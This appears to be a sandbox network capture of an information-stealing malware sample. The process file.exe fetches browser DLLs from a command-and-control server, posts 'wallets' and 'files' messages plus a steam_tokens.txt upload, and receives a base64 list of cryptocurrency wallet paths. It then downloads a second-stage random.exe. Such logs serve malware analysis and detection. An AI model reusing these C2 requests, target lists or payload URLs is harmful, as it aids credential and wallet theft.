Dec 8, 2024 17:45:42.600405931 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 8, 2024 17:45:44.038670063 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:44.479959011 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 8, 2024 17:45:45.334894896 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:45.771661997 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 8, 2024 17:45:46.807495117 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:47.248853922 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 8, 2024 17:45:50.304053068 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:50.741743088 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 8, 2024 17:45:51.379219055 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:51.818164110 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 8, 2024 17:45:52.868813038 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 17:45:53.968601942 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:54.154052019 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="message"wallets------KKJKKJJKJEGIECAKJJEB--
Dec 8, 2024 17:45:54.593878984 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:54 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 8, 2024 17:45:54.621793032 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="message"files------CFBAKEHIEBKJJJJJKKKE--
Dec 8, 2024 17:45:55.061391115 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:55.074799061 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file"------IIIJECAEGDHIDHJKKKKF--
Dec 8, 2024 17:45:56.004496098 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:56.031826019 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 2d 2d 0d 0a Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="message"ybncbhylepme------AFIIIIJKFCAAECAKFIEH--
Dec 8, 2024 17:45:56.479001045 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49864	185.215.113.16	80	7296	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:45:56.602845907 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 8, 2024 17:45:57.935606003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 16:45:57 GMT Content-Type: application/octet-stream Content-Length: 3296768 Last-Modified: Sun, 08 Dec 2024 16:36:52 GMT Connection: keep-alive ETag: "6755cb24-324e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP2@22@Wk>2>2 @.rsrc@.idata @fuapnweu++@sdiwzxtv@2&2@.taggant0P2",2@
Dec 8, 2024 17:45:57.935652018 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 17:45:57.935662985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 17:45:57.935717106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 17:45:57.935728073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
